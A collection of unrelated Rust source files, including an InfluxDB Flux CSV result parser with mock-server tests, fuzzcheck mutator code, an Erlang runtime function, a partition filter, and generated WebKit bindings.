"dateTime:RFC3339" => Ok(DataType::TimeRFC),
"dateTime:RFC3339Nano" => Ok(DataType::TimeRFC),
_ => Err(RequestError::Deserializing {
text: format!("unknown datatype: {}", input)
})
}
}
}
struct FluxColumn {
name: String,
data_type: DataType,
group: bool,
default_value: String,
}
/// Represents a flux record returned from a query.
#[derive(Clone, Debug, PartialEq)]
pub struct FluxRecord {
table: i32,
values: GenericMap,
}
struct FluxTableMetadata {
position: i32,
columns: Vec<FluxColumn>,
}
struct QueryTableResult<'a> {
csv_reader: csv::Reader<&'a [u8]>,
table_position: i32,
table_changed: bool,
table: Option<FluxTableMetadata>,
}
#[derive(PartialEq)]
enum ParsingState {
Normal,
Annotation,
Error,
}
impl<'a> QueryTableResult<'a> {
fn new(text: &'a str) -> Self {
let reader = csv::ReaderBuilder::new()
.has_headers(false)
.from_reader(text.as_bytes());
Self {
csv_reader: reader,
table_position: 0,
table_changed: false,
table: None,
}
}
}
impl<'a> FallibleIterator for QueryTableResult<'a> {
type Item = FluxRecord;
type Error = RequestError;
fn next(&mut self) -> Result<Option<FluxRecord>, RequestError> {
// Hold the FluxRecord to be returned.
let record: FluxRecord;
self.table_changed = false;
let mut row = StringRecord::new();
let mut parsing_state = ParsingState::Normal;
let mut data_type_annotation_found = false;
loop {
if !self.csv_reader.read_record(&mut row).unwrap() {
// EOF
return Ok(None)
}
if row.len() <= 1 {
continue
}
if let Some(s) = row.get(0) {
if s.len() > 0 && s.chars().nth(0).unwrap() == '#' {
// Finding new table, prepare for annotation parsing
if parsing_state == ParsingState::Normal {
self.table = Some(FluxTableMetadata {
position: self.table_position,
columns: Vec::new(),
});
self.table_position += 1;
self.table_changed = true;
for _ in 1..row.len() {
self.table.as_mut().unwrap().columns.push(FluxColumn {
name: String::from(""),
data_type: DataType::String,
group: false,
default_value: String::from(""),
});
}
parsing_state = ParsingState::Annotation;
}
}
}
if self.table.is_none() {
return Err(RequestError::Deserializing {
text: String::from("annotations not found")
})
}
if row.len()-1 != self.table.as_ref().unwrap().columns.len() {
return Err(RequestError::Deserializing {
text: format!(
"row has different number of columns than the table: {} vs {}",
row.len() - 1,
self.table.as_ref().unwrap().columns.len(),
)
})
}
if let Some(s) = row.get(0) {
match s {
"" => {
match parsing_state {
ParsingState::Annotation => {
// Parse column name (csv header)
if !data_type_annotation_found {
return Err(RequestError::Deserializing {
text: String::from("datatype annotation not found")
})
}
if row.get(1).unwrap() == "error" {
parsing_state = ParsingState::Error;
} else {
for i in 1..row.len() {
let column = &mut self.table.as_mut().unwrap().columns[i-1];
column.name = String::from(row.get(i).unwrap());
}
parsing_state = ParsingState::Normal;
}
continue;
}
ParsingState::Error => {
let msg = if row.len() > 1 && row.get(1).unwrap().len() > 0 {
row.get(1).unwrap()
} else {
"unknown query error"
};
let mut reference = String::from("");
if row.len() > 2 && row.get(2).unwrap().len() > 0 {
let s = row.get(2).unwrap();
reference = format!(",{}", s);
}
return Err(RequestError::Deserializing {
text: format!("{}{}", msg, reference)
});
}
_ => {}
}
let mut values = BTreeMap::new();
for i in 1..row.len() {
let column = &self.table.as_mut().unwrap().columns[i-1];
let mut v = row.get(i).unwrap();
if v == "" {
v = &column.default_value[..];
}
let value = parse_value(
v,
column.data_type,
&column.name[..],
)?;
values.entry(column.name.clone()).or_insert(value);
}
record = FluxRecord {
table: self.table.as_ref().unwrap().position,
values,
};
break;
}
"#datatype" => {
data_type_annotation_found = true;
for i in 1..row.len() {
let column = &mut self.table.as_mut().unwrap().columns[i-1];
let dt = DataType::from_str(row.get(i).unwrap())?;
column.data_type = dt;
}
}
"#group" => {
for i in 1..row.len() {
let column = &mut self.table.as_mut().unwrap().columns[i-1];
column.group = row.get(i).unwrap() == "true";
}
}
"#default" => {
for i in 1..row.len() {
let column = &mut self.table.as_mut().unwrap().columns[i-1];
column.default_value = String::from(row.get(i).unwrap());
}
}
_ => {
return Err(RequestError::Deserializing {
text: format!("invalid first cell: {}", s)
});
}
}
}
}
Ok(Some(record))
}
}
fn parse_value(s: &str, t: DataType, name: &str) -> Result<Value, RequestError> {
match t {
DataType::String => {
Ok(Value::String(String::from(s)))
}
DataType::Double => {
let v = s.parse::<f64>().unwrap();
Ok(Value::Double(v))
}
DataType::Bool => {
if s.to_lowercase() == "false" {
Ok(Value::Bool(false))
} else {
Ok(Value::Bool(true))
}
}
DataType::Long => {
let v = s.parse::<i64>().unwrap();
Ok(Value::Long(v))
}
DataType::UnsignedLong => {
let v = s.parse::<u64>().unwrap();
Ok(Value::UnsignedLong(v))
}
DataType::Duration => {
match parse_duration(s) {
Ok(d) => Ok(Value::Duration(chrono::Duration::nanoseconds(d))),
Err(_) => Err(RequestError::Deserializing {
text: format!("invalid duration: {}, name: {}", s, name)
}),
}
}
DataType::Base64Binary => {
let b = decode(s).unwrap();
Ok(Value::Base64Binary(b))
}
DataType::TimeRFC => {
let t = DateTime::parse_from_rfc3339(s).unwrap();
Ok(Value::TimeRFC(t))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use mockito::{mock, Matcher};
#[derive(influxdb2_structmap_derive::FromMap)]
struct Empty { }
impl Default for Empty {
fn default() -> Self {
Self {}
}
}
#[tokio::test]
async fn query_suggestions() {
let token = "some-token";
let mock_server = mock("GET", "/api/v2/query/suggestions")
.match_header("Authorization", format!("Token {}", token).as_str())
.create();
let client = Client::new(&mockito::server_url(), "org", token);
let _result = client.query_suggestions().await;
mock_server.assert();
}
#[tokio::test]
async fn query_suggestions_name() {
let token = "some-token";
let suggestion_name = "some-name";
let mock_server = mock(
"GET",
format!(
"/api/v2/query/suggestions/{name}",
name = crate::common::urlencode(suggestion_name)
)
.as_str(),
)
.match_header("Authorization", format!("Token {}", token).as_str())
.create();
let client = Client::new(&mockito::server_url(), "org", token);
let _result = client.query_suggestions_name(&suggestion_name).await;
mock_server.assert();
}
#[tokio::test]
async fn query() {
let token = "some-token";
let org = "some-org";
let query: Option<Query> = Some(Query::new("some-influx-query-string".to_string()));
let mock_server = mock("POST", "/api/v2/query")
.match_header("Authorization", format!("Token {}", token).as_str())
.match_header("Accepting-Encoding", "identity")
.match_header("Content-Type", "application/json")
.match_query(Matcher::UrlEncoded("org".into(), org.into()))
.match_body(
serde_json::to_string(&query.clone().unwrap_or_default())
.unwrap()
.as_str(),
)
.create();
let client = Client::new(&mockito::server_url(), org, token);
let _result = client.query::<Empty>(query).await;
mock_server.assert();
}
#[tokio::test]
async fn query_opt() {
let token = "some-token";
let org = "some-org";
let query: Option<Query> = None;
let mock_server = mock("POST", "/api/v2/query")
.match_header("Authorization", format!("Token {}", token).as_str())
.match_header("Accepting-Encoding", "identity")
.match_header("Content-Type", "application/json")
.match_query(Matcher::UrlEncoded("org".into(), org.into()))
.match_body(
serde_json::to_string(&query.unwrap_or_default())
.unwrap()
.as_str(),
)
.create();
let client = Client::new(&mockito::server_url(), org, token);
let _result = client.query::<Empty>(None).await;
mock_server.assert();
}
#[tokio::test]
async fn query_analyze() {
let token = "some-token";
let query: Option<Query> = Some(Query::new("some-influx-query-string".to_string()));
let mock_server = mock("POST", "/api/v2/query/analyze")
.match_header("Authorization", format!("Token {}", token).as_str())
.match_header("Content-Type", "application/json")
.match_body(
serde_json::to_string(&query.clone().unwrap_or_default())
.unwrap()
.as_str(),
)
.create();
let client = Client::new(&mockito::server_url(), "org", token);
let _result = client.query_analyze(query).await;
mock_server.assert();
}
#[tokio::test]
async fn query_analyze_opt() {
let token = "some-token";
let query: Option<Query> = None;
let mock_server = mock("POST", "/api/v2/query/analyze")
.match_header("Authorization", format!("Token {}", token).as_str())
.match_header("Content-Type", "application/json")
.match_body(
serde_json::to_string(&query.clone().unwrap_or_default())
.unwrap()
.as_str(),
)
.create();
let client = Client::new(&mockito::server_url(), "org", token);
let _result = client.query_analyze(query).await;
mock_server.assert();
}
#[tokio::test]
async fn query_ast() {
let token = "some-token";
let language_request: Option<LanguageRequest> =
Some(LanguageRequest::new("some-influx-query-string".to_string()));
let mock_server = mock("POST", "/api/v2/query/ast")
.match_header("Authorization", format!("Token {}", token).as_str())
.match_header("Content-Type", "application/json")
.match_body(
serde_json::to_string(&language_request.clone().unwrap_or_default())
.unwrap()
.as_str(),
)
.create();
let client = Client::new(&mockito::server_url(), "org", token);
let _result = client.query_ast(language_request).await;
mock_server.assert();
}
#[tokio::test]
async fn query_ast_opt() {
let token = "some-token";
let language_request: Option<LanguageRequest> = None;
let mock_server = mock("POST", "/api/v2/query/ast")
.match_header("Authorization", format!("Token {}", token).as_str())
.match_header("Content-Type", "application/json")
.match_body(
serde_json::to_string(&language_request.clone().unwrap_or_default())
.unwrap()
.as_str(),
)
.create();
let client = Client::new(&mockito::server_url(), "org", token);
let _result = client.query_ast(language_request).await;
mock_server.assert();
}
#[test]
fn test_query_table_result() {
let text = "#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,dateTime:RFC3339,double,string,string,string,string
#group,false,false,true,true,false,false,true,true,true,true
#default,_result,,,,,,,,,
,result,table,_start,_stop,_time,_value,_field,_measurement,a,b
,,0,2020-02-17T22:19:49.747562847Z,2020-02-18T22:19:49.747562847Z,2020-02-18T10:34:08.135814545Z,1.4,f,test,1,adsfasdf
,,0,2020-02-17T22:19:49.747562847Z,2020-02-18T22:19:49.747562847Z,2020-02-18T22:08:44.850214724Z,6.6,f,test,1,adsfasdf
";
let qtr = QueryTableResult::new(text);
let expected: [FluxRecord; 2] = [
FluxRecord {
table: 0,
values: [
(String::from("result"), Value::String(String::from("_result"))),
(String::from("table"), Value::Long(0)),
(String::from("_start"), parse_value("2020-02-17T22:19:49.747562847Z", DataType::TimeRFC, "_start").unwrap()),
(String::from("_stop"), parse_value("2020-02-18T22:19:49.747562847Z", DataType::TimeRFC, "_stop").unwrap()),
(String::from("_time"), parse_value("2020-02-18T10:34:08.135814545Z", DataType::TimeRFC, "_time").unwrap()),
(String::from("_field"), Value::String(String::from("f"))),
(String::from("_measurement"), Value::String(String::from("test"))),
(String::from("_value"), Value::Double(1.4)),
(String::from("a"), Value::String(String::from("1"))),
(String::from("b"), Value::String(String::from("adsfasdf"))),
].iter().cloned().collect(),
},
FluxRecord {
table: 0,
values: [
(String::from("result"), Value::String(String::from("_result"))),
(String::from("table"), Value::Long(0)),
(String::from("_start"), parse_value("2020-02-17T22:19:49.747562847Z", DataType::TimeRFC, "_start").unwrap()),
(String::from("_stop"), parse_value("2020-02-18T22:19:49.747562847Z", DataType::TimeRFC, "_stop").unwrap()),
(String::from("_time"), parse_value("2020-02-18T22:08:44.850214724Z", DataType::TimeRFC, "_time").unwrap()),
(String::from("_field"), Value::String(String::from("f"))),
(String::from("_measurement"), Value::String(String::from("test"))),
(String::from("_value"), Value::Double(6.6)),
(String::from("a"), Value::String(String::from("1"))),
(String::from("b"), Value::String(String::from("adsfasdf"))),
].iter().cloned().collect(),
},
];
let mut i = 0;
for item in qtr.iterator() {
match item {
Ok(record) => {
assert_eq!(record, expected[i]);
}
Err(e) => {
assert_eq!(format!("{}", e), "");
}
}
i += 1;
}
}
}
|
use std::convert::TryInto;
use anyhow::*;
use liblumen_alloc::erts::exception;
use liblumen_alloc::erts::process::Process;
use liblumen_alloc::erts::term::index::OneBasedIndex;
use liblumen_alloc::erts::term::prelude::*;
use crate::runtime::context::*;
#[native_implemented::function(erlang:insert_element/3)]
pub fn result(
process: &Process,
index: Term,
tuple: Term,
element: Term,
) -> exception::Result<Term> {
let initial_inner_tuple = term_try_into_tuple!(tuple)?;
let length = initial_inner_tuple.len();
let index_one_based: OneBasedIndex = index
.try_into()
.with_context(|| term_is_not_in_one_based_range(index, length + 1))?;
let index_zero_based: usize = index_one_based.into();
// can be equal to arity when insertion is at the end
if index_zero_based <= length {
let mut final_element_vec = initial_inner_tuple[..].to_vec();
if index_zero_based < length {
final_element_vec.insert(index_zero_based, element);
} else {
final_element_vec.push(element);
};
let final_tuple = process.tuple_from_slice(&final_element_vec);
Ok(final_tuple)
} else {
Err(TryIntoIntegerError::OutOfRange)
.with_context(|| term_is_not_in_one_based_range(index, length + 1))
.map_err(From::from)
}
}
|
#![feature(prelude_import)]
#![no_std]
#[prelude_import]
use std::prelude::v1::*;
#[macro_use]
extern crate std;
extern crate basic_example;
extern crate decent_serde_json_alternative;
extern crate fuzzcheck_mutators;
pub extern crate fuzzcheck_serializer;
use decent_serde_json_alternative::{FromJson, ToJson};
use fuzzcheck_mutators::{fuzzcheck_derive_mutator, fuzzcheck_make_mutator};
struct A {
x: u8,
y: u16,
}
pub use _A::AMutator;
mod _A {
use super::*;
pub struct AMutator<xType, yType>
where
u8: ::core::clone::Clone,
xType: fuzzcheck_mutators::fuzzcheck_traits::Mutator<Value = u8>,
u16: ::core::clone::Clone,
yType: fuzzcheck_mutators::fuzzcheck_traits::Mutator<Value = u16>,
A: ::core::clone::Clone,
{
pub x: xType,
pub y: yType,
pub rng: fuzzcheck_mutators::fastrand::Rng,
}
#[allow(non_camel_case_types)]
pub struct AMutatorCache<xType, yType> {
pub x: xType,
pub y: yType,
pub cplx: f64,
}
#[allow(non_camel_case_types)]
pub enum AInnerMutationStep {
x,
y,
}
#[allow(non_camel_case_types)]
pub struct AMutationStep<xType, yType> {
pub x: xType,
pub y: yType,
pub step: usize,
pub inner: ::std::vec::Vec<AInnerMutationStep>,
}
#[allow(non_camel_case_types)]
pub struct AArbitraryStep<xType, yType> {
x: xType,
y: yType,
}
#[allow(non_camel_case_types)]
pub struct AUnmutateToken<xType, yType> {
pub x: ::std::option::Option<xType>,
pub y: ::std::option::Option<yType>,
pub cplx: f64,
}
impl<xType, yType> fuzzcheck_mutators::fuzzcheck_traits::Mutator for AMutator<xType, yType>
where
u8: ::core::clone::Clone,
xType: fuzzcheck_mutators::fuzzcheck_traits::Mutator<Value = u8>,
u16: ::core::clone::Clone,
yType: fuzzcheck_mutators::fuzzcheck_traits::Mutator<Value = u16>,
A: ::core::clone::Clone,
{
type Value = A;
#[doc(hidden)]
type Cache = AMutatorCache<
<xType as fuzzcheck_mutators::fuzzcheck_traits::Mutator>::Cache,
<yType as fuzzcheck_mutators::fuzzcheck_traits::Mutator>::Cache,
>;
#[doc(hidden)]
type MutationStep = AMutationStep<
<xType as fuzzcheck_mutators::fuzzcheck_traits::Mutator>::MutationStep,
<yType as fuzzcheck_mutators::fuzzcheck_traits::Mutator>::MutationStep,
>;
#[doc(hidden)]
type ArbitraryStep = AArbitraryStep<
<xType as fuzzcheck_mutators::fuzzcheck_traits::Mutator>::ArbitraryStep,
<yType as fuzzcheck_mutators::fuzzcheck_traits::Mutator>::ArbitraryStep,
>;
#[doc(hidden)]
type UnmutateToken = AUnmutateToken<
<xType as fuzzcheck_mutators::fuzzcheck_traits::Mutator>::UnmutateToken,
<yType as fuzzcheck_mutators::fuzzcheck_traits::Mutator>::UnmutateToken,
>;
#[no_coverage] fn max_complexity(&self) -> f64 {
self.x.max_complexity() + self.y.max_complexity()
}
#[no_coverage] fn min_complexity(&self) -> f64 {
self.x.min_complexity() + self.y.min_complexity()
}
#[no_coverage] fn complexity(&self, value: &Self::Value, cache: &Self::Cache) -> f64 {
cache.cplx
}
#[no_coverage] fn cache_from_value(&self, value: &Self::Value) -> Self::Cache {
let x = self.x.cache_from_value(&value.x);
let y = self.y.cache_from_value(&value.y);
let cplx = self.x.complexity(&value.x, &x) + self.y.complexity(&value.y, &y);
Self::Cache { x, y, cplx }
}
#[no_coverage] fn initial_step_from_value(&self, value: &Self::Value) -> Self::MutationStep {
let x = self.x.initial_step_from_value(&value.x);
let y = self.y.initial_step_from_value(&value.y);
let step = 0;
Self::MutationStep {
x,
y,
inner: <[_]>::into_vec(box [AInnerMutationStep::x, AInnerMutationStep::y]),
step,
}
}
#[no_coverage] fn ordered_arbitrary(
&mut self,
step: &mut Self::ArbitraryStep,
max_cplx: f64,
) -> ::std::option::Option<(Self::Value, Self::Cache)> {
::std::option::Option::Some(self.random_arbitrary(max_cplx))
}
#[no_coverage] fn random_arbitrary(&mut self, max_cplx: f64) -> (Self::Value, Self::Cache) {
let mut x_value: ::std::option::Option<_> = ::std::option::Option::None;
let mut x_cache: ::std::option::Option<_> = ::std::option::Option::None;
let mut y_value: ::std::option::Option<_> = ::std::option::Option::None;
let mut y_cache: ::std::option::Option<_> = ::std::option::Option::None;
let mut indices = (0..2).collect::<::std::vec::Vec<_>>();
fuzzcheck_mutators::fastrand::shuffle(&mut indices);
let seed = fuzzcheck_mutators::fastrand::usize(..);
let mut cplx = f64::default();
for idx in indices.iter() {
match idx {
0 => {
let (value, cache) = self.x.random_arbitrary(max_cplx - cplx);
cplx += self.x.complexity(&value, &cache);
x_value = ::std::option::Option::Some(value);
x_cache = ::std::option::Option::Some(cache);
}
1 => {
let (value, cache) = self.y.random_arbitrary(max_cplx - cplx);
cplx += self.y.complexity(&value, &cache);
y_value = ::std::option::Option::Some(value);
y_cache = ::std::option::Option::Some(cache);
}
_ => ::core::panicking::panic("internal error: entered unreachable code"),
}
}
(
Self::Value {
x: x_value.unwrap(),
y: y_value.unwrap(),
},
Self::Cache {
x: x_cache.unwrap(),
y: y_cache.unwrap(),
cplx,
},
)
}
#[no_coverage] fn ordered_mutate(
&mut self,
value: &mut Self::Value,
cache: &mut Self::Cache,
step: &mut Self::MutationStep,
max_cplx: f64,
) -> ::std::option::Option<Self::UnmutateToken> {
if step.inner.is_empty() {
return ::std::option::Option::None;
}
let orig_step = step.step;
step.step += 1;
let current_cplx = self.complexity(value, cache);
let mut inner_step_to_remove: ::std::option::Option<usize> = ::std::option::Option::None;
let mut recurse = false;
match step.inner[orig_step % step.inner.len()] {
AInnerMutationStep::x => {
let current_field_cplx = self.x.complexity(&value.x, &cache.x);
let max_field_cplx = max_cplx - current_cplx + current_field_cplx;
if let ::std::option::Option::Some(token) =
self.x
.ordered_mutate(&mut value.x, &mut cache.x, &mut step.x, max_field_cplx)
{
let new_field_complexity = self.x.complexity(&value.x, &cache.x);
cache.cplx = cache.cplx - current_field_cplx + new_field_complexity;
return ::std::option::Option::Some(Self::UnmutateToken {
x: ::std::option::Option::Some(token),
cplx: current_cplx,
..Self::UnmutateToken::default()
});
} else {
inner_step_to_remove = ::std::option::Option::Some(orig_step % step.inner.len());
recurse = true;
}
}
AInnerMutationStep::y => {
let current_field_cplx = self.y.complexity(&value.y, &cache.y);
let max_field_cplx = max_cplx - current_cplx + current_field_cplx;
if let ::std::option::Option::Some(token) =
self.y
.ordered_mutate(&mut value.y, &mut cache.y, &mut step.y, max_field_cplx)
{
let new_field_complexity = self.y.complexity(&value.y, &cache.y);
cache.cplx = cache.cplx - current_field_cplx + new_field_complexity;
return ::std::option::Option::Some(Self::UnmutateToken {
y: ::std::option::Option::Some(token),
cplx: current_cplx,
..Self::UnmutateToken::default()
});
} else {
inner_step_to_remove = ::std::option::Option::Some(orig_step % step.inner.len());
recurse = true;
}
}
}
if let ::std::option::Option::Some(idx) = inner_step_to_remove {
step.inner.remove(idx);
}
if recurse {
self.ordered_mutate(value, cache, step, max_cplx)
} else {
{
::core::panicking::panic("internal error: entered unreachable code")
}
}
}
#[no_coverage] fn random_mutate(
&mut self,
value: &mut Self::Value,
cache: &mut Self::Cache,
max_cplx: f64,
) -> Self::UnmutateToken {
let current_cplx = self.complexity(value, cache);
match self.rng.usize(..) % 2 {
0 => {
let current_field_cplx = self.x.complexity(&value.x, &cache.x);
let max_field_cplx = max_cplx - current_cplx + current_field_cplx;
let token = self.x.random_mutate(&mut value.x, &mut cache.x, max_field_cplx);
let new_field_complexity = self.x.complexity(&value.x, &cache.x);
cache.cplx = cache.cplx - current_field_cplx + new_field_complexity;
return Self::UnmutateToken {
x: ::std::option::Option::Some(token),
cplx: current_cplx,
..Self::UnmutateToken::default()
};
}
1 => {
let current_field_cplx = self.y.complexity(&value.y, &cache.y);
let max_field_cplx = max_cplx - current_cplx + current_field_cplx;
let token = self.y.random_mutate(&mut value.y, &mut cache.y, max_field_cplx);
let new_field_complexity = self.y.complexity(&value.y, &cache.y);
cache.cplx = cache.cplx - current_field_cplx + new_field_complexity;
return Self::UnmutateToken {
y: ::std::option::Option::Some(token),
cplx: current_cplx,
..Self::UnmutateToken::default()
};
}
_ => ::core::panicking::panic("internal error: entered unreachable code"),
}
}
#[no_coverage] fn unmutate(&self, value: &mut Self::Value, cache: &mut Self::Cache, t: Self::UnmutateToken) {
cache.cplx = t.cplx;
if let ::std::option::Option::Some(subtoken) = t.x {
self.x.unmutate(&mut value.x, &mut cache.x, subtoken);
}
if let ::std::option::Option::Some(subtoken) = t.y {
self.y.unmutate(&mut value.y, &mut cache.y, subtoken);
}
}
}
}
|
use std::collections::HashMap;
use database::*;
use types::*;
pub struct FileDatabaseBuilder {
file_data_ordered: Vec <FileData>,
file_data_by_parent: HashMap <RecursivePathRef, Vec <usize>>,
}
impl FileDatabaseBuilder {
pub fn new (
) -> FileDatabaseBuilder {
FileDatabaseBuilder {
file_data_ordered: Vec::new (),
file_data_by_parent: HashMap::new (),
}
}
pub fn insert (
& mut self,
file_data: FileData,
) {
if let Some (last_file_data) =
self.file_data_ordered.last () {
if file_data.path <= last_file_data.path {
panic! (
"Tried to insert {:?} after {:?}",
file_data.path.to_path (),
last_file_data.path.to_path ());
}
}
let parent =
file_data.path.parent ().unwrap ();
self.file_data_by_parent.entry (
parent,
).or_insert_with (
|| Vec::new ()
).push (
self.file_data_ordered.len (),
);
self.file_data_ordered.push (
file_data,
);
}
pub fn find_root (
& mut self,
root_map: & mut HashMap <RecursivePathRef, Option <PathRef>>,
file_path: RecursivePathRef,
) -> Option <PathRef> {
let mut search_path =
Some (file_path.clone ());
let mut new_paths: Vec <RecursivePathRef> =
Vec::new ();
while (
search_path.is_some ()
&& ! root_map.contains_key (
search_path.as_ref ().unwrap ())
) {
new_paths.push (
search_path.as_ref ().unwrap ().clone ());
let search_parent =
search_path.unwrap ().parent ();
if search_parent.is_none () {
search_path = None;
break;
}
search_path =
search_parent;
}
let root_path =
search_path.and_then (
|search_path|
root_map.get (
& search_path,
).unwrap ().clone ()
);
for new_path in new_paths.into_iter () {
root_map.insert (
new_path,
root_path.clone ());
}
root_path
}
pub fn build (
self,
) -> FileDatabase {
FileDatabase::new (
self.file_data_ordered,
)
}
pub fn len (& self) -> usize {
self.file_data_ordered.len ()
}
}
// ex: noet ts=4 filetype=rust
|
use super::component_iter_tuple::ComponentIterTuple;
pub trait ArcheTypeIter<'a, T: ComponentIterTuple<'a>> {
fn iter_mut(&'a mut self) -> T;
}
|
use std::{fmt::Display, sync::Arc};
use async_trait::async_trait;
use data_types::ParquetFile;
use crate::{error::DynError, PartitionInfo};
use super::PartitionFilter;
#[derive(Debug)]
pub struct AndPartitionFilter {
filters: Vec<Arc<dyn PartitionFilter>>,
}
impl AndPartitionFilter {
pub fn new(filters: Vec<Arc<dyn PartitionFilter>>) -> Self {
Self { filters }
}
}
impl Display for AndPartitionFilter {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "and([")?;
for (i, sub) in self.filters.iter().enumerate() {
if i > 0 {
write!(f, ", ")?;
}
write!(f, "{sub}")?;
}
write!(f, "])")
}
}
#[async_trait]
impl PartitionFilter for AndPartitionFilter {
async fn apply(
&self,
partition_info: &PartitionInfo,
files: &[ParquetFile],
) -> Result<bool, DynError> {
for filter in &self.filters {
if !filter.apply(partition_info, files).await? {
return Ok(false);
}
}
Ok(true)
}
}
#[cfg(test)]
mod tests {
use crate::{
components::partition_filter::{
has_files::HasFilesPartitionFilter, FalsePartitionFilter, TruePartitionFilter,
},
test_utils::PartitionInfoBuilder,
};
use super::*;
#[test]
fn test_display() {
let has_files = Arc::new(HasFilesPartitionFilter::new());
let max_num_files = Arc::new(TruePartitionFilter::new());
let filter = AndPartitionFilter::new(vec![has_files, max_num_files]);
assert_eq!(format!("{filter}"), "and([has_files, true])");
}
#[tokio::test]
async fn test_apply() {
let p_info = Arc::new(PartitionInfoBuilder::new().build());
let filter = AndPartitionFilter::new(vec![
Arc::new(TruePartitionFilter::new()),
Arc::new(TruePartitionFilter::new()),
]);
assert!(filter.apply(&p_info, &[]).await.unwrap());
let filter = AndPartitionFilter::new(vec![
Arc::new(TruePartitionFilter::new()),
Arc::new(FalsePartitionFilter::new()),
]);
assert!(!filter.apply(&p_info, &[]).await.unwrap());
let filter = AndPartitionFilter::new(vec![
Arc::new(FalsePartitionFilter::new()),
Arc::new(TruePartitionFilter::new()),
]);
assert!(!filter.apply(&p_info, &[]).await.unwrap());
let filter = AndPartitionFilter::new(vec![
Arc::new(FalsePartitionFilter::new()),
Arc::new(FalsePartitionFilter::new()),
]);
assert!(!filter.apply(&p_info, &[]).await.unwrap());
}
}
|
#![allow(non_snake_case, non_camel_case_types, non_upper_case_globals, clashing_extern_declarations, clippy::all)]
#[link(name = "windows")]
extern "system" {}
pub type RemoteTextConnection = *mut ::core::ffi::c_void;
pub type RemoteTextConnectionDataHandler = *mut ::core::ffi::c_void;
|
// This file is part of linux-epoll. It is subject to the license terms in the COPYRIGHT file found in the top-level directory of this distribution and at https://raw.githubusercontent.com/lemonrock/linux-epoll/master/COPYRIGHT. No part of linux-epoll, including this file, may be copied, modified, propagated, or distributed except according to the terms contained in the COPYRIGHT file.
// Copyright © 2019 The developers of linux-epoll. See the COPYRIGHT file in the top-level directory of this distribution and at https://raw.githubusercontent.com/lemonrock/linux-epoll/master/COPYRIGHT.
/// A trait to make common the differences between TLS server streams, TLS client streams and unencrypted streams.
///
/// Also offers wrapper implementations of `io::Read` and `io::Write`, but it advisable to use `read_data()` and `write_data()` in preference.
pub trait Stream: Read + Write
{
/// Type of the information available to the stream after handshaking has completed.
type PostHandshakeInformation: Sized;
/// Information available to the stream after handshaking has completed.
///
/// Constructing this information is slightly expensive and may involve malloc, so it is advisable to only call this method once.
///
/// Since a stream is only made available after handshaking has been successful, this method always succeeds.
///
/// For a unencrypted stream, nothing useful is available as no handshaking occurs, although if support for `STARTTLS` in LDAP, SMTP, POP3 and IMAP is added it may be slightly useful.
#[inline(always)]
fn post_handshake_information(&self) -> Self::PostHandshakeInformation;
/// Read data.
///
/// Appears to the user of this API to be blocking, but in practice it uses a coroutine.
fn read_data(&mut self, read_into_buffer: &mut [u8]) -> Result<usize, CompleteError>;
/// Write data.
///
/// Appears to the user of this API to be blocking, but in practice it uses a coroutine.
fn write_data(&mut self, write_from_buffer: &[u8]) -> Result<usize, CompleteError>;
/// Flush written data.
///
/// Not particularly useful, and there is no need to use this before calling `read_data()`, `write_data()` or `finish()`, all of which are self-flushing.
fn flush_written_data(&mut self) -> Result<(), CompleteError>;
/// Used to indicate that the user has finished with the stream.
///
/// Unencrypted streams will do nothing in this method; TLS streams will try to send a CloseNotify alert.
fn finish(self) -> Result<(), CompleteError>;
}
|
use super::{Dispatch, NodeId, QueryId, ShardId, State};
/// A dummy implementor of the [`Dispatch`] trait used for testing purposes.
/// It always selects an empty list of replicas.
pub struct DummyDispatcher;
impl Dispatch for DummyDispatcher {
fn dispatch(&self, _: QueryId, _shards: &[ShardId], _: &State) -> Vec<(ShardId, NodeId)> {
vec![]
}
fn num_nodes(&self) -> usize {
0
}
fn num_shards(&self) -> usize {
0
}
fn disable_node(&mut self, _: NodeId) -> eyre::Result<bool> {
Ok(false)
}
fn enable_node(&mut self, _: NodeId) -> bool {
false
}
}
|
// This file was generated by gir (https://github.com/gtk-rs/gir)
// from gir-files (https://github.com/gtk-rs/gir-files)
// DO NOT EDIT
use glib::object::Cast;
use glib::object::IsA;
use glib::signal::connect_raw;
use glib::signal::SignalHandlerId;
use glib::translate::*;
use glib::StaticType;
use glib::Value;
use glib_sys;
use gobject_sys;
use std::boxed::Box as Box_;
use std::fmt;
use std::mem::transmute;
use webkit2_webextension_sys;
use DOMObject;
glib_wrapper! {
pub struct DOMClientRect(Object<webkit2_webextension_sys::WebKitDOMClientRect, webkit2_webextension_sys::WebKitDOMClientRectClass, DOMClientRectClass>) @extends DOMObject;
match fn {
get_type => || webkit2_webextension_sys::webkit_dom_client_rect_get_type(),
}
}
pub const NONE_DOM_CLIENT_RECT: Option<&DOMClientRect> = None;
pub trait DOMClientRectExt: 'static {
#[cfg_attr(feature = "v2_22", deprecated)]
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_bottom(&self) -> f32;
#[cfg_attr(feature = "v2_22", deprecated)]
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_height(&self) -> f32;
#[cfg_attr(feature = "v2_22", deprecated)]
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_left(&self) -> f32;
#[cfg_attr(feature = "v2_22", deprecated)]
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_right(&self) -> f32;
#[cfg_attr(feature = "v2_22", deprecated)]
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_top(&self) -> f32;
#[cfg_attr(feature = "v2_22", deprecated)]
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_width(&self) -> f32;
fn get_property_bottom(&self) -> f32;
fn get_property_height(&self) -> f32;
fn get_property_left(&self) -> f32;
fn get_property_right(&self) -> f32;
fn get_property_top(&self) -> f32;
fn get_property_width(&self) -> f32;
fn connect_property_bottom_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId;
fn connect_property_height_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId;
fn connect_property_left_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId;
fn connect_property_right_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId;
fn connect_property_top_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId;
fn connect_property_width_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId;
}
